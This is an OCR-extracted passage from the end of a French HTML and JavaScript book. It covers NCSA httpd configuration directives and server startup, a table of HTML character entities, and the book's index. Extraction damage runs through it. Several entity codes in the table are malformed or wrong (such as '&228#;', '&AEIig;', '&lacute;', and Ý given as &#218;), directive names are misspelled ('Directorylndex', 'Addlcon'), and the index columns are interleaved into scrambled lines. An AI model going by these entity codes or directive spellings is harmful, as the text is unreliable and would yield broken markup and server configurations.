un document selon son extension.
Syntaxe :
TypesConfig file
file est le nom d'un fichier indiqué à partir du répertoire ServerRoot.
Exemple :
TypesConfig conf/mime-types

Le fichier [Link]
Ce fichier contient les informations concernant les ressources du serveur, comme
l'emplacement des différents documents ou des scripts CGI. Les valeurs caractéristiques
y sont indiquées à l'aide des instructions qui suivent :

DocumentRoot
Cette directive indique quel répertoire de votre machine va devenir la racine de votre ser­
veur Web. Dans les URL, le chemin d'un document sera toujours relatif à cette racine.
Syntaxe :
DocumentRoot dir
dir est le chemin complet d'un répertoire de votre machine.
Exemple :
DocumentRoot /usr/local/etc/httpd/htdocs

L'URL [Link] correspond au fichier /usr/local/etc/httpd/

htdocs/html/[Link] de la machine qui héberge le serveur Web.

UserDir
Cette directive indique dans quel répertoire les utilisateurs vont pouvoir créer leurs pro­
pres documents. Pour accéder à ces documents, une URL doit préciser le home directory

431
 Programmation HTML et JavaScript

de l'utilisateur souhaité selon la syntaxe Unix ~nom_utilisateur et le nom d'un fichier

contenu dans le répertoire correspondant à la directive UserDir.
Syntaxe :
UserDir dir
dir est un simple nom de répertoire. Le mot-clé DISABLED permet d'inhiber cette fonc­
tionnalité.
Exemple :
UserDir web-docs

Supposons que le home directory de l'utilisateur drevon soit /home/drevon. L'URL http:/
/[Link]/~drevon/[Link] correspondra au fichier /home/drevon/web-docs/
[Link] de la machine qui accueille le serveur Web.

AccessFileName
Cette directive indique au serveur le nom du fichier qu'il doit rechercher pour trouver
d'éventuelles informations concernant la protection du répertoire où se trouve le docu­
ment demandé. Vous trouverez plus d'informations sur le contenu de ces fichiers au cha­
pitre Authentification des accès, page 273.
Syntaxe :
AccessFileName file
file est un simple nom de fichier.
Exemple :
AccessFileName .htaccess

DefaultType
Lorsque l'extension d'un fichier ne permet pas de déterminer le type MIME d'un docu­
ment (extension inconnue dans le fichier [Link], pas d'extension...) le serveur utilise
le type par défaut indiqué par la directive DefaultType.
Syntaxe :
DefaultType type/subtype
type/subtype est un type/sous-type MIME.
Exemple :
DefaultType text/html

On considère que par défaut les fichiers du serveur contiennent des commandes HTML.

Redirect
Cette directive crée un document virtuel sur votre serveur. Tout accès à ce document est
redirigé vers un autre document de l'Internet.
Syntaxe :
Redirect Virtual URL
virtual est le nom de votre document virtuel et URL est une URL valide.

432
Installation d'un démon httpd

Exemple :
Redirect /[Link] [Link]

Une requête à l'URL [Link] correspondra au document dos­

[Link] qui se trouve à la racine du serveur [Link].

Alias
Cette directive crée un lien entre un document ou un répertoire virtuel de votre serveur
Web et un document ou un répertoire de votre machine.
Syntaxe :
Alias Virtual path
virtual est le nom virtuel tel qu'il sera utilisé par les clients et path est le chemin complet
du répertoire ou du document sur la machine qui accueille le serveur Web.
Exemple :
Alias /icons /usr/local/etc/httpd/icons

L'icône /icons/[Link] correspondra au fichier /usr/local/etc/httpd/icons/[Link].

ScriptAlias
Cette directive permet d'indiquer quels sont les répertoires de votre serveur autorisés à
accueillir des scripts CGI. Elle permet également de donner un nom virtuel à ce réper­
toire. Toute requête d'un client sur un fichier de ce répertoire virtuel est interprétée
comme une demande d'exécution d'un script. La sortie standard de ce script est renvoyée
au client.
Syntaxe :
ScriptAlias Virtual path
virtual est le nom virtuel du répertoire tel qu'il sera utilisé par les clients et path est le
chemin complet du répertoire sur la machine qui accueille le serveur Web.
Exemple :
ScriptAlias /cgi-bin/ /usr/local/etc/httpd/cgi-bin/

Le répertoire /usr/local/etc/httpd/cgi-bin/ héberge les scripts CGI du serveur. Une URL

référençant un script sera de la forme [Link]

Le fichier [Link] : gestion des listes de fichiers

Le démon httpd de NCSA offre la possibilité aux clients de faire une requête non pas sur
un document mais sur un répertoire. Par exemple, l'URL suivante est valide bien
qu'aucun nom de document n'y figure :
[Link]

Lorsqu'il reçoit une telle requête, le serveur l'interprète comme une demande du client
visant à connaître la liste des fichiers du répertoire ( il s'agit ici du répertoire /usr/local/

433
 Programmation HTML et JavaScript

etc/httpd/htdocs/html). Avant de renvoyer cette liste de fichiers au client, le serveur doit

la construire. Voici les différentes directives du fichier [Link] qui permettent de para­
métrer la construction de cette liste.

Directorylndex
La directive Directorylndex permet d'indiquer le nom d'un fichier de telle façon que, si
un fichier portant ce nom existe dans le répertoire sur lequel porte la requête, le serveur
ne construise pas la liste des fichiers du répertoire mais renvoie à la place le contenu de
ce fichier.
Syntaxe :
Directorylndex file
file est un simple nom de fichier.
Exemple :
Directorylndex [Link]

La principale utilisation de cette directive consiste à créer un fichier [Link] à la

racine de votre serveur Web. Ainsi, lorsqu'un client appelle l'URL [Link]
il ne reçoit pas la liste des fichiers du répertoire racine de votre serveur mais le document
contenu dans le fichier [Link].

Les directives qui suivent n'ont de sens que dans la mesure où la requête envoyée par le
client porte sur un répertoire dans lequel ne figure pas de fichier portant le nom corres­
pondant à la directive Directorylndex.

HeaderName
Cette directive permet d'indiquer le nom d'un fichier de telle façon que, si un fichier por­
tant ce nom existe dans le répertoire sur lequel porte la requête, le contenu de ce fichier
soit ajouté avant la liste des fichiers du répertoire. Le document renvoyé au client est
constitué du contenu de ce fichier (inséré dans les balises <PRE>...</PRE>) et de la liste
des fichiers du répertoire.
Syntaxe :
HeaderName name
name est un simple nom de fichier.
Exemple :
HeaderName HEADER

Supposons qu'un client demande l'URL [Link] Si le fichier /usr/

local/etc/httpd/html/HEADER existe, son contenu sera ajouté au début de la liste des
fichiers du répertoire html.

434
Installation d'un démon httpd

ReadmeName
Cette directive est identique à la précédente, si ce n'est qu'elle permet d'insérer le con­
tenu d'un fichier après la liste des fichiers.
Syntaxe :
ReadmeName name
name est un simple nom de fichier.
Exemple :
ReadmeName README

Supposons qu'un client demande l'URL [Link] Si le fichier /usr/

local/etc/httpd/html/README existe, son contenu sera ajouté à la fin de la liste des
fichiers du répertoire html.

FancyIndexing
Cette directive indique si le serveur doit répondre à une requête sur un répertoire par une
simple liste de fichiers, ou par une liste de fichiers plus complète, agrémentée d'icônes et
d'informations comme la taille des fichiers.
Syntaxe :
Fancylndexing setting
setting prend la valeur on ou off.
Exemple :
FancyIndexing on

435
 Programmation HTML et JavaScript

AddIcon
Cette directive permet d'associer une icône à un fichier, ou à tous les fichiers possédant
une même extension. Cette icône sera ajoutée devant le nom du fichier dans la liste de
fichiers renvoyée au client. Cette directive n'a de sens que si la directive FancyIndexing
est positionnée à la valeur on.
Syntaxe :
AddIcon icon name1 name2...
icon est le chemin virtuel vers une image au format XBM ou GIF et name peut prendre
les valeurs suivantes :
• ʌʌDIRECTORYʌʌ pour indiquer comment représenter un répertoire ;
• ʌʌBLANKICONʌʌ pour préciser l'icône vide utilisée pour formater correctement la
ligne de titre ;
• une extension de fichier (comme .au ou .txt) ;
• un nom de fichier.

Exemple :
Addlcon /icons/[Link] .bin
Addlcon /icons/[Link] ..
Addlcon /icons/[Link] ʌʌDIRECTORYʌʌ
Addlcon /icons/[Link] ʌʌBLANKICONʌʌ

Les fichiers *.bin seront agrémentés par l'icône /usr/local/etc/httpd/icons/[Link].

Les répertoires seront représentés par l'icône /usr/local/etc/httpd/icons/[Link].

AddlconByType
Cette directive permet d'associer une icône à un type de document (au sens MIME). Les
types MIME sont définis dans le fichier [Link]. Par exemple, les fichiers avec
l'extension .au ont pour type MIME audio/basic. Si l'on associe l'icône [Link] au
format MIME audio/*, les fichiers avec l'extension .au apparaîtront précédés de l'icône
[Link] dans la liste de fichiers renvoyée au client. Cette directive n'a de sens que si
la directive FancyIndexing est positionnée à la valeur on.
Syntaxe :
AddIconByType icon type1 type2...
icon est le chemin virtuel vers une image au format xbm et type est un type/sous-type
MIME (comme image/gif) ou un ensemble de sous-types MIME (comme image/*).
Exemple :
AddIconByType /icons/[Link] text/*
AddIconByType /icons/[Link] image/*
AddIconByType /icons/[Link] audio/*

436
Installation d'un démon httpd

Defaultlcon
Cette directive indique au serveur l'icône qu'il doit utiliser pour représenter, dans une
liste de fichiers, un fichier auquel aucune icône n'a été associée par les directives
AddIcon ou AddIconByType.
Syntaxe :
DefaultIcon location
location est chemin virtuel vers un fichier représentant une icône.
Exemple :
Defaultlcon /icons/[Link]

Ici, /icons a été défini par la directive Alias /icons/usr/local/etc/httpd/icons. L'icône par
défaut est donc /usr/local/etc/httpd/icons/[Link].

Indexlgnore
Cette directive indique au serveur les fichiers qu'il ne doit pas faire apparaître dans une
liste de fichiers. Il s'agit en général des fichiers HEADER et README dont le contenu
sera ajouté au début et à la fin de la liste ainsi que des fichiers liés à l'authentification.
Syntaxe :
IndexIgnore pat1 pat2...
patn est un nom de fichier ou une extension de nom de fichiers.
Exemple :
IndexIgnore README HEADER .htaccess .htpasswd # ~

Le fichier [Link]
Ce fichier permet de définir de façon centralisée une politique de limitation des droits
d'accès aux différents documents du serveur. On y indique, répertoire par répertoire,
quelles sont les protections que l'on désire appliquer. Deux techniques sont possibles
pour gérer les droits d'accès.
• on utilise le fichier [Link] ;
• on utilise un fichier .htaccess dans chaque répertoire devant être protégé.
Ces deux techniques peuvent être combinées. Il faut cependant indiquer clairement dans
le fichier [Link] dans quelle mesure les directives du fichier .htaccess sont prioritaires
sur celles qui sont présentes dans le fichier [Link] pour le même répertoire. Nous ne
traitons dans cet ouvrage que l'hypothèse où le fichier [Link] utilisé est celui qui est
livré avec le serveur. En voici le détail :
# Informations concernant le repertoire cgi-bin
<Directory /usr/local/etc/httpd/cgi-bin>
Options Indexes FollowSymLinks
</Directory>

# Informations concernant la racine du serveur

<Directory /usr/local/etc/httpd/htdocs>

# Options autorisees

437
 Programmation HTML et JavaScript

Options Indexes FollowSymLinks

# Indique que les fichiers .htaccess sont prioritaires en tout point

AllowOverride All

# Définit qui a le droit de recuperer des documents sur le serveur

# En 1'occurence tout le monde
<Limit GET>
order allow,deny
allow from all
</Limit>

</Directory>

Dans cette hypothèse, l'authentification doit être gérée au niveau de chaque répertoire à
protéger. Cette technique est décrite en détail dans Authentification des accès,
page 273.

Le démarrage du serveur
Deux cas se présentent selon la valeur de la directive ServerType. Si vous avez choisi
d'utiliser inetd, vous devez éditer le fichier /etc/services pour y ajouter la ligne :
http 80/tcp

Editez ensuite le fichier /etc/[Link] ajoutez-y la ligne :

http stream tcp nowait nobody /usr/local/etc/httpd/httpd
httpd

Redémarrez inetd en utilisant la commande :

kill -HUP numero_processus_inetd

Si vous avez choisi d'exécuter votre serveur en standalone, il vous suffit de tapez la com­
mande httpd. Cependant, si votre directive ServerRoot indique une valeur différente de
/usr/local/etc/httpd, vous devrez lancer la commande httpd -d /votre/Server/Root.

438
 Annexe 5

Caractères accentués,
symboles

Syntaxe
Caractère Syntaxe Description
(ASCII)
Á &Aacute; &#193; A capitale, accent aigu

À &Agrave; &#192; A capitale, accent grave

 &Acirc; &#194; A capitale, accent circonflexe

à &Atilde; &#195; A capitale, tilde

Å &Aring; &#197; A capitale

Ä &Auml; &#196; A capitale tréma

Æ &AEIig; &#198; Æ capitale

Ç &Ccedil; &#199; C capitale cédille

É &Eacute; &#201 ; E capitale, accent aigu

È &Egrave; &#200; E capitale, accent grave

Ê &Ecirc; &#202; E capitale, accent circonflexe

Ë &Euml; &#203; E capitale, tréma

439
 Programmation HTML et JavaScript

Syntaxe
Caractère Syntaxe Description
(ASCII)
Í &lacute; &#205; I capitale, accent aigu

Ì &lgrave; &#204; I capitale, accent grave

Î &lcirc; &#206; I capitale, accent circonflexe

Ï &luml; &#207; I capitale, tréma

Ñ &Ntilde; &#209; N capitale, tilde

Ó &Oacute; &#211 ; O capitale, accent aigu

Ò &Ograve; &#210; O capitale, accent grave

Ô &Ocirc; &#212; O capitale, accent circonflexe

Õ &Otilde; &#213; O capitale, tilde

Ö &Ouml; &#214; O capitale, tréma

Ø &Oslash; &#216; O capitale, barré

Ú &Uacute; &#218; U capitale, accent aigu

Ù &Ugrave; &#217; U capitale, accent grave

Û &Ucirc; &#219; U capitale, accent circonflexe

Ü &Uuml; &#220; U capitale, tréma

Ý &Yacute; &#218; Y capitale, accent aigu

á &aacute; &#225; a minuscule, accent aigu

à &agrave; &#224; a minuscule, accent grave

â &acirc; &#226; a minuscule, accent circonflexe

ã &atilde; &#227; a minuscule, tilde

å &aring; &#229; a minuscule, rond

ä &auml; &228#; a minuscule, tréma

æ &aelig; &230#; æ minuscule

ç &ccdil; &231#; c minuscule, cédille

é &eacute; &233#; e minuscule, accent aigu

è &egrave; &232#; e minuscule, accent grave

440
Caractères accentués, symboles

Syntaxe
Caractère Syntaxe Description
(ASCII)

ê &ecirc; &234#; e minuscule, accent circonflexe

ë &euml; &235#; e minuscule, tréma

í &iacute; &237#; i minuscule, accent aigu

ì &igrave; &236#; i minuscule, accent grave

î &icirc; &238#; i minuscule, accent circonflexe

ï &iuml; &239#; i minuscule, tréma

ñ &ntilde; &#241 ; n minuscule, tilde

ó &oacute; &#243; o minuscule, accent aigu

ò &ograve; &#242; o minuscule, accent grave

ô &ocirc; &#244; o minuscule, accent circonflexe

õ &otilde; &#245; o minuscule, tilde

ö &ouml; &#246; o minuscule, tréma

ø &oslash; &#248; o minuscule, barré

ú &uacute; &#250; u minuscule, accent aigu

ù &ugrave; &#249; u minuscule, accent grave

û &ucirc; &#251 ; u minuscule, accent circonflexe

ü &uuml; &#252; u minuscule, tréma

ý &yacute; &#253; y minuscule, accent aigu

ÿ &yuml; &#255; y minuscule, tréma

441
 Index FACE...................................................... 88
FRAMEBORDER...............................159
GUTTER................................................ 90
HEIGHT............................... 86, 91, 117
HREF.................................... 61, 106,136
HTTP-EQUIV................................... 171
ID........................................ 103, 116
ISMAP................................................. 136
LEFT.................................................... 116
LINK...................................................... 94
MARGINWIDTH............................... 160
METHOD............................................ 196
A NAME........................ 62, 136, 160, 196
NOHREF............................................. 136
accentuation............................................ 26, 439 NORESIZE........................................ 161
[Link]..................................................... 437 NOSHADE............................................. 36
adresse............................................................. 29 NOWRAP............................................ 147
Internet...................................................19 REFRESH........................................... 172
alphabet ISO Latin 1......................................26 REL...................................................... 106
ancres...............................................................59 ROWS................................ 158, 221
active.................................................62, 63 ROWSPAN........................ 147, 148
arrivée.................................................... 60 SCROLLING...................................... 161
départ......................................60, 61, 62 SHAPE.................................................136
passive.............................................. 62, 63 SIZE................................................ 88, 91
ascenseurs........................................................11 SIZE (HR)............................................. 36
ASCII...............................................................26 SRC................................79, 80, 118,160
attributs START................................................... 46
ABOVE................................................ 116 STYLE.................................................107
ACTION...............................................196 TARGET............................................. 196
ALIGN.........................82, 91, 147, 149 TEXT..................................................... 94
ALINK................................................... 94 TOP......................................................116
ALT........................................................ 86 TYPE........................ 43,46,91, 100,106
BACKGROUND........................... 93, 117 VALIGN.............................................. 147
BELOW............................................... 116 VISIBILITY....................................... 118
BGCOLOR........................... 93, 117, 149 VLINK................................................... 94
BORDER.............................. 86, 146, 159 WIDTH.......... 37, 86, 89, 91, 117, 146
BORDERCOLOR...............................159 Z-INDEX............................................. 116
CELLPADING....................................146
CELLSPACING..................................146
CHECKED.......................................... 210 B
CLASS................................................. 102
balises
CLEAR (BR)......................................... 91
!commentaire................................ 29
CLIP.....................................................117
A............................................................. 61
COLOR (fonte)..................................... 88
ADDRESS............................................. 29
COLS.....................................89, 159, 221
AREA.................................................. 136
COLSPAN................................... 147, 148
attributs..........................................29
COMPACT............................................40
B............................................................. 51
CONTENT...........................................171
BLOCKQUOTE................................... 56
COORD............................................... 136

443
 Programmation HTML et JavaScript

BODY..................................................... 28 U.............................................................. 51
BR........................................................... 34 UL........................................................... 42
CAPTION............................................ 149 VAR........................................................ 56
CENTER................................................ 90 base de données...............................................18
CITE....................................................... 52
CODE..................................................... 53
DD........................................................... 41 C
définition................................................ 25
[Link]................................................. 240, 263
DFN........................................................ 53
classes
DL........................................................... 40
CHECKBOX........................................207
DT........................................................... 40
RESET..................................................211
EM.......................................................... 54
client-pull.......................................................172
FONT......................................................88
client-serveur, contexte.................................. 18
FORM.................................................. 196
CMJN.............................................................411
FRAME................................................ 160
Common Gateway Interface (CGI)............237
FRAMESET.........................................158
Content-type................................ 243, 244
H..............................................................33
Emplacement des scripts.................... 239
HEAD..................................................... 27
Exemples.............................................. 253
HR...........................................................35
langage de programmation.................240
HTML.................................................... 27
Location................................................245
I............................................................... 51
Non Parsed Header............................. 247
ILAYER............................................... 116
sécurité................................................. 241
IMG........................................................ 79
sortie standard.....................................242
INPUT.................................................. 201
Status....................................................246
KBD........................................................54
variables d'environnement................. 247
LI............................................................ 42
Window-target.....................................245
LINK.................................................... 106
CONTENT_LENGTH (variable
MAP......................................................136
d'environnement)................................ 248, 262
META...................................................171
Content-type....................................................69
MULTICOL.......................................... 89
convertisseurs..................................................15
NOFRAMES........................................161
couches...........................................................114
NOSCRIPT.......................................... 288
couleurs..........................................................408
OL........................................................... 45
CSS1 (Cascading Style Sheets)......................99
P.............................................................. 35
PRE.........................................................36
S AMP.................................................... 55
D
SCRIPT................................................ 285
SELECT............................................... 212 démons.............................................................19
SPACER.................................................90 divisions
SPAN.......................................... 103, 115 BR...........................................................34
STRONG................................................55 H............................................................. 33
STYLE (feuilles)..................................100 HR.......................................................... 35
TABLE................................................. 146 P.............................................................. 35
TD......................................................... 147 domaine........................................................... 19
TEXTAREA.........................................221 DPI.................................................................408
TH......................................................... 149 Dynamique (HTML).................................... 113
TITLE.....................................................27
TR......................................................... 147
TT........................................................... 52

444
Index

NAME..................................................160
E
NOFRAMES....................................... 161
e-mail.............................................................198 NORESIZE......................................... 161
énumération....................................................39 ROWS................................................. 158
EPS................................................................ 412 SCROLLING...................................... 161
espacement interparagraphe.........................34 SRC...................................................... 160
espaces (compactage)..................................... 37 TARGET............................................. 163
FTP........................................................... 66, 67
anonymous............................................ 67
F
formattage G
PRE........................................................ 36
forms............................................................. 191 GET................................... 196, 250, 262, 264
formulaires......................................... 191, 261 GIF......................................... 65, 79, 409, 414
ACTION.............................................. 196 glossaire.......................................................... 40
CHECKBOX.......................................207
CHECKED.......................................... 210
classe input.......................................... 194 H
classe select.......................................... 194
bookmark....................................................... 27
classe textarea..................................... 194
htaccess (fichier)......................................... 273
classes...................................................194
HTTP........................... 18, 69, 183, 246, 250
éléments............................................... 195
définition............................................... 21
encodage des données.........................261
dialogue................................................. 19
FORM..................................................196
HTTPD........................................................ 425
INPUT................................................. 201
[Link].......................................... 437
METHOD............................................196
AccessConfig...................................... 430
méthode GET......................250, 262, 264
AccessFileName................................. 432
méthode POST....................248, 262, 268
AddIcon.............................................. 436
NAME..................................................196
AddIconByType................................ 436
principe................................................193
AgentLog............................................ 430
SELECT.............................................. 212
Alias.................................................... 433
TEXTAREA........................................221
DefaultIcon........................................ 437
transmission........................................ 194
DefaultType....................................... 432
TYPE................................................... 201
démarrage du serveur.......................438
frames........................................................... 155
DirectoryIndex.................................. 434
_blank.................................................. 164
DocumentRoot...................................431
_parent................................................ 164
ErrorLog............................................ 429
_self...................................................... 164
FancyIndexing................................... 435
_top...................................................... 164
Group................................................. 428
BORDER............................................ 159
HeaderName......................................434
BORDERCOLOR..............................159
[Link]...........................................427
COLS...................................................159
IndexIgnore....................................... 437
FRAME...............................................160
PidFile................................................ 430
FRAMEBORDER..............................159
Port.................................................... 427
FRAMESET....................................... 158
ReadmeName.................................... 435
Imbrication de balises........................162
Redirect............................................. 432
Imbrication de documents................ 163
ResourceConfig................................. 431
MARGINWIDTH.............................. 160
ScriptAlias......................................... 433

445
 Programmation HTML et JavaScript

ServerAdmin.......................................428 [Link]................................... 135

ServerName.........................................429 ISMAP................................................ 135
ServerRoot.......................................... 428 MAP.................................................... 136
ServerType..........................................427 NAME................................................. 136
[Link]............................................... 431 POLY......................................... 133, 136
TransferLog........................................ 430 RECT......................................... 133, 136
TypesConfig........................................ 431 SHAPE................................................ 136
User...................................................... 428 ismap............................................................ 133
UserDir................................................ 431
[Link]......................................................427
hypertexte....................................................... 11 J
écriture...................................................15
JASS (JavaScript Accessible
notion..................................................... 14
Styles Sheets).............................. 99
JavaScript.................................................... 281
/ action................................................... 197
alert()................................................... 323
imagemap......................................................132 appCodeName.................................... 337
images..............................................................79 appName............................................. 337
ALIGN................................................... 82 app Version......................................... 337
alignement............................................. 82 ARCHIVE.......................................... 402
bitmap............................................. 15, 409 Array()....................................... 304, 373
BORDER............................................... 82 back()......................................... 311, 324
cliquable...............................................131 blur............................................. 203, 214
création................................................ 411 blur()....................................................323
en guise d'ancre.....................................84 booléens............................................... 293
en ligne................................................... 79 break................................................... 385
HEIGHT................................................ 82 capture d'événements........................ 346
HSPACE................................................ 82 captureEvents().................................. 346
IMG........................................................79 chaînes de caractères................ 291, 361
JavaScript.............................................. 85 checked...................................... 207, 210
lissage................................................... 412 classe.................................................... 295
mesures................................................ 408 clearTimeout().................................... 325
mode entrelacé............................. 410, 415 Click........................ 208, 211, 212, 222
SRC........................................................ 79 click..................................................... 206
système de coordonnées......................132 close()...................................................322
traitement............................................ 410 closed................................................... 310
transfert............................................... 415 commentaire....................................... 381
transparence.................................410, 414 comparaison........................................380
vectoriel.......................................... 15, 409 confirm()............................................. 323
VSPACE................................................ 82 constructeur........................................ 295
WIDTH.................................................. 82 continue............................................... 387
images cliquables conversion........................................... 302
AREA................................................... 136 Date()................................................... 351
CIRCL..................................................136 defaultChecked......................... 207, 210
CIRCLE............................................... 133 defaultSelected................................... 215
COORD................................................136 defaultStatus....................................... 309
fonctionnement....................................136 defaultValue........................................202
imagemap.............................................135 do ... while........................................... 382

446
Index

document..............................................313 modification d'un gestion­

close().........................................316 naire d'événements.......... 344
getSelection()............................ 316 moveBy()............................................. 327
open().........................................315 moveTo()............................................. 327
write()........................................315 name.................................. 202, 206, 207
writeln().................................... 315 navigator............................................. 337
elements................................................197 new.............................................. 296, 394
enctype................................................. 197 nombres............................................... 292
escape().................................................400 objet.....................................................295
eval().....................................................399 objets du browser................................ 333
événement......................... 330, 336, 340 onAbort................................................ 343
event..................................................... 341 onBlur..................... 203, 215, 331, 343
expressions régulières.........................366 onChange.......................... 203, 215, 343
find().....................................................324 onClick ..75, 208, 211, 212, 222, 343
focus............................................. 203, 214 onDblClick...........................................343
focus()...................................................323 onDragDrop........................................ 343
fonctions...............................................293 onError................................................ 343
for......................................................... 384 onerror................................................. 331
for ... in.................................................384 onFocus.................. 203, 215, 330, 343
forms.................................................... 313 onKeyDown......................................... 343
forward()..................................... 311, 324 onKeyPress.......................................... 343
frames.......................................... 167, 312 onKeyUp.............................................. 343
function........................................293, 388 onLoad................................................. 343
Function()............................................ 359 onMouseDown.................................... 343
go()....................................................... 311 onMouseMove..................................... 343
handleEvent()......................................347 onMouseOut....................... 74, 137, 343
history..................................................310 onMouseOver..................... 74, 137, 343
home()..................................................324 onMouseUp......................................... 343
ID......................................................... 402 onMove................................................ 343
if... else................................................. 392 onReset................................................ 343
Image()................................................ 353 onResize...............................................344
images..................................................313 onSelect...................................... 203, 344
index.................................................... 210 onSubmit................................... 198, 344
innerHeight......................................... 307 onUnload............................................. 344
innerWidth..........................................308 open()................................................... 320
instance................................................295 opener.................................................. 312
IsNaN()................................................ 398 opérateurs........................................... 377
javascript (pseudo-protocole)............286 Option()............................................... 356
language.............................................. 337 outerHeight......................................... 308
layers................................................... 314 outerWidth......................................... 308
length...........................................210, 214 pageXOffset........................................ 308
links..................................................... 314 pageYOffset........................................ 308
location................................................311 parent.................................................. 313
locationbar.......................................... 309 parseFloat()........................................ 397
Math.................................................... 357 parselnt().............................................397
menubar..............................................309 personalbar.........................................309
method................................................ 197 platform.............................................. 337
méthode.......................................295, 335 plugins.................................................337
mimeTypes..........................................337 prompt()............................................. 323

447
 Programmation HTML et JavaScript

propriété........................................ 295, 333 L

prototype............................................... 300
pseudo-protocole javascript.................. 286 LAYER........................................................... 116
RegExp()...............................................367 layer................................................................ 115
resizeBy()..............................................329 libcgi....................................................... 240, 267
resizeTo().............................................. 329 liens
return.....................................................392 A............................................................. 61
routeEvent().......................................... 347 création.................................................... 59
Screen................................................... 339 externe............................................... 16, 61
screenX................................................. 309 HREF.......................................................61
screenY................................................. 309 interne................................................16, 62
SCRIPT.........................................285, 402 lien exécutable.................................16, 242
scrollbars...............................................309 NAME..................................................... 62
scrollBy().............................................. 330 note de bas de page............................14, 63
scrollTo().............................................. 330 notion.......................................................14
sécurité..................................................402 ressources................................................ 64
select..................................................... 203 listes.................................................................. 39
selected................................................. 215 DD........................................................... 41
selectedIndex........................................ 214 DL............................................................40
setInterval()...........................................325 DT............................................................40
setTimeout()......................................... 324 LI............................................................. 42
SRC.......................................................285 liste descriptive........................................40
status..................................................... 309 listes imbriquées................................44, 48
statusbar................................................309 listes régulières........................................42
stop().....................................................324 OL........................................................... 45
String()..................................................361 UL........................................................... 42
submit................................................... 197
switch ... case........................................393
tableau...........................................303, 373 M
target..................................................... 197
macrotexte........................................................ 60
text........................................................ 215
MAILTO.................................................. 71, 198
this................................................ 296, 395
Méta................................................................171
toolbar...................................................309
microtexte.........................................................60
top......................................................... 313
MIME ...................................................... 68, 244
type............................................... 202, 207
typeof.................................................... 301
types......................................................291
N
unescape().............................................401
userAgent..............................................337 NEWS...............................................................70
value................................... 202, 206, 207 NNTP............................................................... 66
var.........................................................381 numérotation...............................................33, 39
variables........................................287, 289
version.................................................. 285
void().................................................... 399 P
while..................................................... 383
P.A.O.
window................................................. 306
environnement de test............................... 9
with.......................................................396
paragraphes.......................................................33
JPEG..........................................................65, 79
pixel...................................................... 133,408

448
Index

pointeur........................................................... 59 I...................................................... 51
POST (attribut)................. 196, 248, 262, 268 KBD.........................................................54
PostScript........................................ 15, 65, 412 logique..................................................... 52
préformaté (texte)............................................36 physique................................................... 51
présentation SAMP...................................................... 55
ALINK.................................................... 94 SIZE........................................................ 88
BACKGROUND................................... 93 STRONG................................................. 55
BGCOLOR..............................................93 TT............................................................ 52
LINK....................................................... 94 U.....................................................51
TEXT.......................................................94 VAR........................................................ 56
VLINK.................................................... 94 styles (feuilles)
propriétés (layers)...........................................118 Classes.................................................. 101
CSS.......................................................... 99
Groupement.......................................... 104
R héritage................................................. 105
ID.......................................................... 102
répertoires.........................................................19
JASS........................................................ 99
RGB.............................................. 88, 407, 412
polices................................................... 107
RVB............................................................... 407 Sous-classe............................................102
synthèse additive............................................ 408

S
sécurité T
authentification..................................... 273
tableaux.....................................................36,145
domaine.................................................276 ALIGN.......................................... 147,149
htaccess.......................................273, 275
BORDER..............................................146
htgroup.................................................. 275 BOTTOM............................................. 147
notion...................................................... 19 CAPTION............................................. 149
scripts cgi..............................................241
CELLPADING..................................... 146
SGML (Standarized Generalized CELLSPACING................................... 146
Markup Language)........................ 17
cellule................................................... 145
SMTP...............................................................66
CENTER.............................................. 147
[Link]......................................................... 431 COLSPAN............................................147
structuration LEFT.................................................... 147
BODY.....................................................28
MIDDLE.............................................. 147
de base.................................................... 27
multi éléments...................................... 151
HEAD..................................................... 27
nommage des éléments........................ 146
HTML.....................................................27
NOWRAP............................................ 147
listes........................................................39
RIGHT................................................. 147
TITLE..................................................... 27
ROWSPAN.......................................... 147
styles
TABLE................................................. 146
B............................................................. 51
TD........................................................ 147
BLOCKQUOTE.....................................56
TH........................................................ 149
CITE....................................................... 52
TOP...................................................... 147
CODE..................................................... 53
TR........................................................ 147
COLOR.................................................. 88
V ALIGN............................................. 147
DFN........................................................53
TARGET.................................................. 76,163
EM..........................................................54
tcl-cgi (bibliothèque)..................................... 240
FONT..................................................... 88

449
 Programmation HTML et JavaScript

TCP/IP
adresse...................................................19
Domain Name Server...........................19
domaine............................................... 273
TELNET.................................................. 66, 70
tests................................................................. 30
text/css...........................................................100
text/javascript.............................................. 100
tilda................................................................. 20

u
URL
adressage relatif et absolu................... 71
arguments............................................. 19
authentification.................................... 19
encodage.....................................250, 261
port........................................................ 19
principe................................................. 19
syntaxe...................................................19
usemap..........................................................136
utils.c.............................................................240

X
XBM................................................................79

450
Achevé d'imprimé : Clausen & Bosse.
Dépôt légal : août 2002
N° d'éditeur : 6808